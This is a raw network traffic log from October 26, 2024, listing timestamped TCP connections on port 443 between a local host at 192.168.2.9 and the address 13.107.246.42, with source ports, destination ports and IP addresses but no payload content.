Oct 26, 2024 13:46:16.717798948 CEST	443	49854	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.718250990 CEST	49854	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.718262911 CEST	443	49854	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.786632061 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.786793947 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.786851883 CEST	49853	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.786859035 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.786921024 CEST	49853	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.787204981 CEST	49853	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.787225962 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.787239075 CEST	49853	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.787245989 CEST	443	49853	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.790740967 CEST	49858	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.790769100 CEST	443	49858	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.790827036 CEST	49858	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.790998936 CEST	49858	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.791013956 CEST	443	49858	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.848412991 CEST	443	49854	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.848562956 CEST	443	49854	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.848634005 CEST	49854	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.848850012 CEST	49854	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.848869085 CEST	443	49854	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.848881006 CEST	49854	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.848886967 CEST	443	49854	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.852166891 CEST	49859	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.852200031 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.852283955 CEST	49859	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.852610111 CEST	49859	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.852623940 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.888433933 CEST	443	49855	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.889003992 CEST	49855	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.889027119 CEST	443	49855	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.889566898 CEST	49855	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.889574051 CEST	443	49855	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.937416077 CEST	443	49856	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.963598967 CEST	49856	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.963645935 CEST	443	49856	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:16.964359045 CEST	49856	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:16.964366913 CEST	443	49856	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.022489071 CEST	443	49855	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.022581100 CEST	443	49855	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.022851944 CEST	49855	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.023483038 CEST	49855	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.023499012 CEST	443	49855	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.027523041 CEST	49860	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.027559996 CEST	443	49860	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.027734041 CEST	49860	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.028220892 CEST	49860	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.028238058 CEST	443	49860	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.089745045 CEST	443	49856	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.089823008 CEST	443	49856	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.089884996 CEST	49856	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.091480017 CEST	49856	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.091500044 CEST	443	49856	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.091558933 CEST	49856	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.091567993 CEST	443	49856	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.094808102 CEST	49861	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.094847918 CEST	443	49861	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.094923973 CEST	49861	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.095141888 CEST	49861	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.095155954 CEST	443	49861	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.416460991 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.423429966 CEST	49857	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.423455000 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.423978090 CEST	49857	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.423983097 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.522496939 CEST	443	49858	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.523479939 CEST	49858	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.523507118 CEST	443	49858	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.524060965 CEST	49858	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.524066925 CEST	443	49858	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.548485041 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.548527002 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.548589945 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.548631907 CEST	49857	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.548676968 CEST	49857	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.549165964 CEST	49857	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.549190998 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.549206018 CEST	49857	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.549211979 CEST	443	49857	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.553173065 CEST	49862	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.553216934 CEST	443	49862	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.553428888 CEST	49862	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.553642035 CEST	49862	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.553657055 CEST	443	49862	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.585377932 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.585879087 CEST	49859	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.585911036 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.586770058 CEST	49859	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.586787939 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.652993917 CEST	443	49858	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.653161049 CEST	443	49858	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.653325081 CEST	49858	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.653410912 CEST	49858	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.653429031 CEST	443	49858	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.653439045 CEST	49858	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.653445005 CEST	443	49858	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.656419039 CEST	49863	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.656521082 CEST	443	49863	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.656626940 CEST	49863	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.656846046 CEST	49863	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.656878948 CEST	443	49863	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.715656042 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.715697050 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.715740919 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.715764999 CEST	49859	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.715821028 CEST	49859	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.715965986 CEST	49859	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.715986967 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.715998888 CEST	49859	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.716006041 CEST	443	49859	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.719168901 CEST	49864	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.719207048 CEST	443	49864	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.719279051 CEST	49864	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.719579935 CEST	49864	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.719594955 CEST	443	49864	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.779043913 CEST	443	49860	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.779789925 CEST	49860	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.779810905 CEST	443	49860	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.780456066 CEST	49860	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.780468941 CEST	443	49860	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.826309919 CEST	443	49861	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.826829910 CEST	49861	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.826884985 CEST	443	49861	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.827279091 CEST	49861	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.827292919 CEST	443	49861	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.912216902 CEST	443	49860	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.912316084 CEST	443	49860	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.912583113 CEST	49860	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.912668943 CEST	49860	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.912668943 CEST	49860	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.912693977 CEST	443	49860	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.912704945 CEST	443	49860	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.915906906 CEST	49865	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.915945053 CEST	443	49865	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.916064978 CEST	49865	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.916311026 CEST	49865	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.916326046 CEST	443	49865	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.957442999 CEST	443	49861	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.957515955 CEST	443	49861	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.957595110 CEST	49861	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.957911968 CEST	49861	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.957952023 CEST	443	49861	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.957983017 CEST	49861	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.957999945 CEST	443	49861	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.962465048 CEST	49866	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.962492943 CEST	443	49866	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:17.962558031 CEST	49866	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.962790966 CEST	49866	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:17.962805986 CEST	443	49866	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.304368019 CEST	443	49862	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.304872990 CEST	49862	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.304908037 CEST	443	49862	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.305495024 CEST	49862	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.305505037 CEST	443	49862	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.389511108 CEST	443	49863	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.390065908 CEST	49863	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.390094995 CEST	443	49863	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.390650034 CEST	49863	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.390656948 CEST	443	49863	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.438743114 CEST	443	49862	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.438815117 CEST	443	49862	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.438931942 CEST	49862	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.439135075 CEST	49862	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.439157963 CEST	443	49862	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.439183950 CEST	49862	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.439189911 CEST	443	49862	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.443698883 CEST	49867	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.443738937 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.443845034 CEST	49867	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.443959951 CEST	49867	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.443974018 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.469995022 CEST	443	49864	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.470885038 CEST	49864	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.470905066 CEST	443	49864	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.471499920 CEST	49864	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.471506119 CEST	443	49864	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.520056009 CEST	443	49863	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.520143032 CEST	443	49863	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.520206928 CEST	49863	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.520426989 CEST	49863	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.520451069 CEST	443	49863	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.520462990 CEST	49863	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.520468950 CEST	443	49863	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.523781061 CEST	49868	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.523828983 CEST	443	49868	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.524190903 CEST	49868	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.524375916 CEST	49868	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.524389029 CEST	443	49868	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.609939098 CEST	443	49864	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.610043049 CEST	443	49864	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.610116959 CEST	49864	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.610718012 CEST	49864	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.610732079 CEST	443	49864	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.610745907 CEST	49864	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.610752106 CEST	443	49864	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.616161108 CEST	49869	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.616210938 CEST	443	49869	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.616281986 CEST	49869	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.616599083 CEST	49869	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.616614103 CEST	443	49869	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.647448063 CEST	443	49865	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.648060083 CEST	49865	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.648082972 CEST	443	49865	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.648632050 CEST	49865	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.648642063 CEST	443	49865	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.698328018 CEST	443	49866	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.698828936 CEST	49866	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.698863029 CEST	443	49866	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:18.699357033 CEST	49866	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:18.699362040 CEST	443	49866	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:19.756620884 CEST	443	49865	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:19.756732941 CEST	443	49865	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:19.756897926 CEST	49865	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:19.757067919 CEST	49865	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:19.757067919 CEST	49865	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:19.757087946 CEST	443	49865	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:19.757102013 CEST	443	49865	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:19.760107040 CEST	49870	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:19.760153055 CEST	443	49870	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:19.760217905 CEST	49870	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:19.760410070 CEST	49870	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:19.760425091 CEST	443	49870	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.021667957 CEST	443	49866	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.021761894 CEST	443	49866	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.021832943 CEST	49866	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.022047997 CEST	49866	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.022064924 CEST	443	49866	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.022092104 CEST	49866	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.022102118 CEST	443	49866	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.025430918 CEST	49871	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.025474072 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.025654078 CEST	49871	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.026148081 CEST	49871	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.026161909 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.150959015 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.151412964 CEST	443	49869	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.151556015 CEST	49867	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.151587009 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.151602030 CEST	443	49868	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.151787996 CEST	49869	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.151813030 CEST	443	49869	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.152076006 CEST	49867	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.152093887 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.152223110 CEST	49869	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.152230978 CEST	443	49869	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.152407885 CEST	49868	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.152425051 CEST	443	49868	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.152753115 CEST	49868	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.152759075 CEST	443	49868	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.285129070 CEST	443	49868	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.285198927 CEST	443	49868	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.285254002 CEST	49868	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.285408020 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.285444975 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.285511017 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.285543919 CEST	49868	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.285567999 CEST	443	49868	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.285573959 CEST	49867	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.285614014 CEST	49867	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.285630941 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.285706997 CEST	49867	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.285716057 CEST	443	49867	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.286168098 CEST	443	49869	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.286339045 CEST	443	49869	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.286390066 CEST	49869	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.286590099 CEST	49869	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.286602020 CEST	443	49869	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.289551973 CEST	49872	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.289580107 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.289664030 CEST	49872	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.289884090 CEST	49873	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.289916039 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.289971113 CEST	49873	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.290119886 CEST	49872	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.290137053 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.290234089 CEST	49873	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.290251970 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.290875912 CEST	49874	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.290889978 CEST	443	49874	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.291016102 CEST	49874	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.291069031 CEST	49874	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.291075945 CEST	443	49874	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.749641895 CEST	443	49870	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.750257015 CEST	49870	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.750267982 CEST	443	49870	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.750857115 CEST	49870	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.750863075 CEST	443	49870	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.779412031 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.780082941 CEST	49871	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.780119896 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.780507088 CEST	49871	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.780517101 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.880372047 CEST	443	49870	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.880592108 CEST	443	49870	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.880655050 CEST	49870	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.880768061 CEST	49870	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.880784988 CEST	443	49870	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.880805969 CEST	49870	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.880814075 CEST	443	49870	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.884228945 CEST	49875	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.884263039 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.884361982 CEST	49875	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.884617090 CEST	49875	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.884627104 CEST	443	49875	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.912561893 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.912600040 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.912724972 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.912751913 CEST	49871	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.912828922 CEST	49871	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.913353920 CEST	49871	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.913353920 CEST	49871	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.913374901 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.913386106 CEST	443	49871	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.916847944 CEST	49876	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.916881084 CEST	443	49876	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:20.917007923 CEST	49876	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.917310953 CEST	49876	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:20.917325974 CEST	443	49876	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.016561031 CEST	443	49874	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.021996021 CEST	49874	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.022022009 CEST	443	49874	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.022339106 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.023566961 CEST	49874	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.023575068 CEST	443	49874	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.024002075 CEST	49872	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.024013996 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.025298119 CEST	49872	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.025305033 CEST	443	49872	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.043661118 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.045869112 CEST	49873	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:21.045886040 CEST	443	49873	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:21.046367884 CEST	49873	443	192.168.2.9	13.107.246.42
